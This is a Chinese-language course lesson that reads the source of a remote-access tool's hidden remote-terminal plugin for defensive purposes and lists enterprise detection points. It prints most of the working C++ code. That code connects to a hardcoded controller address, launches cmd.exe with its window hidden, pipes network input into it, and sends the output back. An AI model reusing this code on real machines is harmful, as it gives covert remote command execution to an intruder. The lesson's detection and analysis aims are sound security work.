第 28 课:主插件:远程终端
# 第 28 课:主插件:远程终端
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课定位:防御分析、源码阅读、远程命令执行风险识别和企业检测工程。
本课只讲远程终端模块的结构、输入输出模型、进程和管道行为,不提供命令执行、横向移动、规避监控或攻击操作示例。
第 27 课讲的是启动管理,它关注“程序如何随系统或用户自动运行”。本课看一个更高风险的能力:主插件\远程终端。
远程终端的本质是:远端输入一段文本,本机把它写入命令解释器,然后把输出再回传。它绕过图形界面,直接进入系统命令层,所以在企业安全里属于高危能力。
本课主线如下:
远程终端插件入口
-> 创建 CShellManager
-> 创建两组管道
-> 隐藏启动 cmd.exe
-> 主控输入写入管道
-> cmd 输出进入管道
-> ReadPipeThread 读取输出并回传
-> MonitorThread 监控终端进程和读线程
2
3
4
5
6
7
8
# 1. 本课学习目标
| 问题 | 本课回答 |
|---|---|
| 远程终端模块做什么 | 创建隐藏 cmd.exe,通过管道转发输入输出 |
| 为什么它高风险 | 它能远程驱动命令解释器执行系统命令 |
| 两组管道分别干什么 | 一组把主控输入写给 cmd.exe,一组读取 cmd.exe 输出 |
OnReceive 的作用是什么 | 把网络收到的数据写入命令解释器输入管道 |
ReadPipeThread 的作用是什么 | 从输出管道读取数据并回传主控端 |
| 企业如何检测 | 关联父子进程、隐藏窗口、管道读写、命令行、脚本日志和网络会话 |
# 2. 本课涉及源码目录和文件
| 文件 | 作用 |
|---|---|
主插件\远程终端\远程终端.sln | 远程终端插件解决方案 |
主插件\远程终端\远程终端\远程终端.cpp | 插件入口、连接选择、创建 CShellManager |
主插件\远程终端\远程终端\ShellManager.h | 命令枚举、管道句柄、进程句柄、线程声明 |
主插件\远程终端\远程终端\ShellManager.cpp | 隐藏命令解释器、管道读写、输出回传和监控线程 |

# 3. 插件入口:连接后创建 CShellManager
入口仍然是标准主插件模式:连接成功后创建管理器对象,进入 socket 事件循环。
// 源码位置:主插件\远程终端\远程终端\远程终端.cpp:7-45
// 防御分析注释:
// 1. MainThread 根据 IsTcp 选择 TCP 或 UDP。
// 2. 连接成功后创建 CShellManager,后续命令输入和输出都由它处理。
// 3. 远程终端能力应被视为高危控制能力,必须与操作者身份、授权和日志关联。
struct plugInfo
{
char mark[30];
TCHAR szAddress[255];
DWORD szPort;
BOOL IsTcp;
BOOL RunDllEntryProc;
} MyInfo =
{
"plugmark",
_T("192.168.50.142"),
6669,
1,
0,
};
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
ISocketBase* socketClient;
if (MyInfo.IsTcp == 1)
socketClient = new CTcpSocket();
else
socketClient = new CUdpSocket();
if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
{
CShellManager manager(socketClient);
socketClient->run_event_loop();
}
SAFE_DELETE(socketClient);
if (MyInfo.RunDllEntryProc)
ExitProcess(0);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
入口之后,所有重点都在 CShellManager。
# 4. 类声明:句柄比命令枚举更重要
ShellManager.h 里只有一个局部命令 COMMAND_NEXT,但有很多句柄成员。远程终端模块的核心不是复杂命令字,而是“进程 + 管道 + 线程”。
// 源码位置:主插件\远程终端\远程终端\ShellManager.h:3-30
// 防御分析注释:
// 1. COMMAND_NEXT 用于窗口或会话状态同步。
// 2. m_hReadPipeHandle / m_hWritePipeHandle 是管理器侧读写管道。
// 3. m_hReadPipeShell / m_hWritePipeShell 会作为 cmd.exe 的标准输入输出句柄。
// 4. m_hProcessHandle、m_hThreadRead、m_hThreadMonitor 是检测进程生命周期的重要线索。
enum
{
COMMAND_NEXT,
};
class CShellManager : public CManager
{
public:
BOOL m_buser;
CShellManager(ISocketBase* pClient);
virtual ~CShellManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
private:
HANDLE m_hReadPipeHandle;
HANDLE m_hWritePipeHandle;
HANDLE m_hReadPipeShell;
HANDLE m_hWritePipeShell;
HANDLE m_hProcessHandle;
HANDLE m_hThreadHandle;
HANDLE m_hThreadRead;
HANDLE m_hThreadMonitor;
static unsigned __stdcall ReadPipeThread(LPVOID lparam);
static unsigned __stdcall MonitorThread(LPVOID lparam);
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
对新手来说,先记住这张结构图。

# 5. 构造函数:创建管道并启动隐藏 cmd.exe
构造函数做了四件关键事:
- 创建输入和输出管道。
- 把管道绑定到新进程标准输入、标准输出和标准错误。
- 启动系统目录下的
cmd.exe。 - 启动读线程和监控线程。
// 源码位置:主插件\远程终端\远程终端\ShellManager.cpp:15-77
// 防御分析注释:
// 1. CreatePipe 创建可继承管道,供子进程标准输入输出使用。
// 2. STARTF_USESTDHANDLES 表示新进程的 stdin/stdout/stderr 来自指定句柄。
// 3. SW_HIDE 让命令解释器窗口隐藏,是高风险信号。
// 4. CreateProcessA 启动 cmd.exe 后,模块发送 TOKEN_SHELL_START。
CShellManager::CShellManager(ISocketBase* pClient) : CManager(pClient)
{
SECURITY_ATTRIBUTES sa = { 0 };
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
char strShellPath[MAX_PATH] = { 0 };
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0);
CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0);
GetStartupInfoA(&si);
si.cb = sizeof(STARTUPINFO);
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdInput = m_hReadPipeShell;
si.hStdOutput = si.hStdError = m_hWritePipeShell;
GetSystemDirectoryA(strShellPath, MAX_PATH);
strcat_s(strShellPath, "\\cmd.exe");
CreateProcessA(strShellPath, NULL, NULL, NULL, TRUE,
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);
m_hProcessHandle = pi.hProcess;
m_hThreadHandle = pi.hThread;
BYTE bToken = TOKEN_SHELL_START;
Send((LPBYTE)&bToken, 1);
m_hThreadRead = (HANDLE)_beginthreadex(NULL, 0, ReadPipeThread,
(LPVOID)this, 0, NULL);
m_hThreadMonitor = (HANDLE)_beginthreadex(NULL, 0, MonitorThread,
(LPVOID)this, 0, NULL);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
这段代码不需要复杂协议就能形成远程终端:网络输入写入管道,命令解释器输出再从管道读回。企业侧检测时,重点不是某个具体命令,而是这种进程与管道结构。
# 6. 输入输出时序

远程终端的时序可以拆成两条线:
| 方向 | 源码位置 | 行为 |
|---|---|---|
| 输入方向 | OnReceive | 网络数据写入 m_hWritePipeHandle |
| 输出方向 | ReadPipeThread | 从 m_hReadPipeHandle 读取输出并 Send 回传 |
// 源码位置:主插件\远程终端\远程终端\ShellManager.cpp:108-128
// 防御分析注释:
// 1. 非心跳数据会被直接写入命令解释器输入管道。
// 2. 这里不解析命令含义,意味着任意输入都可能进入 shell。
// 3. 企业侧应记录远程终端输入来源、操作者和命令文本,不应只记录连接建立。
void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT)
return;
if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
{
NotifyDialogIsOpen();
return;
}
unsigned long ByteWrite;
WriteFile(
m_hWritePipeHandle,
lpBuffer,
nSize,
&ByteWrite,
NULL);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
这段代码非常关键:它没有白名单、没有命令授权、没有命令分级。合法远程终端产品应把命令执行作为最敏感权限之一,而不是把所有网络输入都直接写入 shell。
# 7. 输出回传:ReadPipeThread
读线程不断检查输出管道是否有数据,有数据就读取并发送回主控端。
// 源码位置:主插件\远程终端\远程终端\ShellManager.cpp:129-178
// 防御分析注释:
// 1. PeekNamedPipe 用于检查命令解释器输出是否可读。
// 2. ReadFile 读取输出,Send 回传到主控端。
// 3. “cmd 子进程输出 -> 网络回传”是远程交互式 shell 的典型检测链。
unsigned CShellManager::ReadPipeThread(LPVOID lparam)
{
unsigned long BytesRead = 0;
char ReadBuff[1024];
DWORD TotalBytesAvail;
CShellManager* pThis = (CShellManager*)lparam;
while (1)
{
Sleep(10);
while (PeekNamedPipe(pThis->m_hReadPipeHandle,
ReadBuff,
sizeof(ReadBuff),
&BytesRead,
&TotalBytesAvail,
NULL))
{
if (BytesRead <= 0)
break;
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalBytesAvail);
ReadFile(pThis->m_hReadPipeHandle,
lpBuffer,
TotalBytesAvail,
&BytesRead,
NULL);
pThis->Send(lpBuffer, BytesRead);
LocalFree(lpBuffer);
}
}
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
从检测角度,可以关注两个组合:
异常进程 -> 隐藏启动 cmd.exe -> 管道读写 -> 长连接回传
异常进程 -> cmd.exe 输出产生 -> 同一进程立即网络发送
2
# 8. 监控线程和清理
MonitorThread 等待命令解释器进程或读线程退出,然后断开连接。析构函数则强制终止线程和进程,关闭句柄。
// 源码位置:主插件\远程终端\远程终端\ShellManager.cpp:79-106
// 防御分析注释:
// 1. 析构函数会终止读线程和 cmd 进程。
// 2. TerminateThread/TerminateProcess 是强制清理,可能造成状态不一致。
// 3. 应急处置时要先保全进程树、命令行、管道行为和网络连接,再终止进程。
CShellManager::~CShellManager()
{
if (!m_buser) return;
TerminateThread(m_hThreadRead, 0);
TerminateProcess(m_hProcessHandle, 0);
TerminateThread(m_hThreadHandle, 0);
WaitForSingleObject(m_hThreadMonitor, 2000);
TerminateThread(m_hThreadMonitor, 0);
CloseHandle(m_hReadPipeHandle);
CloseHandle(m_hWritePipeHandle);
CloseHandle(m_hReadPipeShell);
CloseHandle(m_hWritePipeShell);
CloseHandle(m_hProcessHandle);
CloseHandle(m_hThreadHandle);
CloseHandle(m_hThreadMonitor);
CloseHandle(m_hThreadRead);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 源码位置:主插件\远程终端\远程终端\ShellManager.cpp:180-191
// 防御分析注释:
// 1. MonitorThread 监控 cmd 进程和读线程。
// 2. 任一对象结束后,模块会终止剩余对象并断开连接。
// 3. 连接断开前后的进程退出事件可以帮助还原远程终端会话生命周期。
unsigned CShellManager::MonitorThread(LPVOID lparam)
{
CShellManager* pThis = (CShellManager*)lparam;
HANDLE hThread[2];
hThread[0] = pThis->m_hProcessHandle;
hThread[1] = pThis->m_hThreadRead;
WaitForMultipleObjects(2, hThread, FALSE, INFINITE);
TerminateThread(pThis->m_hThreadRead, 0);
TerminateProcess(pThis->m_hProcessHandle, 1);
pThis->m_pClient->Disconnect();
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 9. 命令执行风险面

远程终端能力的风险不是某个固定命令,而是它把远端输入连接到了本机命令解释器。可能影响的面包括:
| 风险面 | 防御关注 |
|---|---|
| 文件系统操作 | 文件读取、写入、删除、压缩、脚本落地 |
| 系统配置变更 | 注册表、服务、计划任务、安全策略 |
| 网络探测 | 域名解析、连接测试、远端访问 |
| 脚本解释器 | PowerShell、cscript、wscript、mshta 等 |
| 凭据与会话 | 环境变量、配置文件、令牌材料 |
本课不提供任何命令示例。企业侧做检测时,也不要只盯某几个命令字符串。更稳妥的是看“进程关系 + 管道结构 + 命令行 + 网络回传 + 用户授权”。
# 10. 企业检测点

| 检测面 | 关注点 | 关联方式 |
|---|---|---|
| 进程树 | 异常进程启动 cmd.exe | 父进程路径、签名、用户、窗口状态 |
| 管道行为 | CreatePipe、WriteFile、ReadFile | 子进程标准输入输出重定向 |
| 命令行 | cmd.exe、脚本解释器、参数 | 命令行日志、进程创建事件 |
| 脚本日志 | PowerShell、WMI、脚本宿主 | 事件日志和 EDR 脚本内容记录 |
| 网络会话 | 长连接、输入输出回传 | 同一进程或同一会话的网络流量 |
建议关联逻辑:
异常插件进程建立长连接
-> 创建可继承管道
-> 隐藏启动 cmd.exe
-> 网络输入写入管道
-> cmd 输出经管道读取
-> 输出回传主控端
-> 触发远程交互式 shell 告警
2
3
4
5
6
7
# 11. 合法练习题
- 只阅读源码,画出
CShellManager的四个管道句柄关系。 - 整理
构造函数 -> OnReceive -> ReadPipeThread -> MonitorThread的调用链。 - 从防御角度写一条规则:异常进程隐藏启动
cmd.exe,并通过管道重定向标准输入输出。 - 设计合法远程终端的操作记录字段:操作者、命令、输出摘要、主机、时间、审批编号和结果。
- 说明为什么“只记录连接建立”不足以满足远程终端安全要求。
- 对比普通用户打开
cmd.exe和插件隐藏创建cmd.exe在检测上的差异。
# 12. 本课小结
远程终端模块的核心是管道型命令交互:CShellManager 创建隐藏 cmd.exe,把网络输入写入标准输入,把标准输出和错误输出读回并发送给主控端。
这类能力必须被视为高危能力。企业侧检测要把父子进程、隐藏窗口、管道读写、命令行、脚本日志和网络会话串起来。下一课进入远程交谈模块,关注文本交互、窗口展示、用户确认和屏幕锁定风险。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言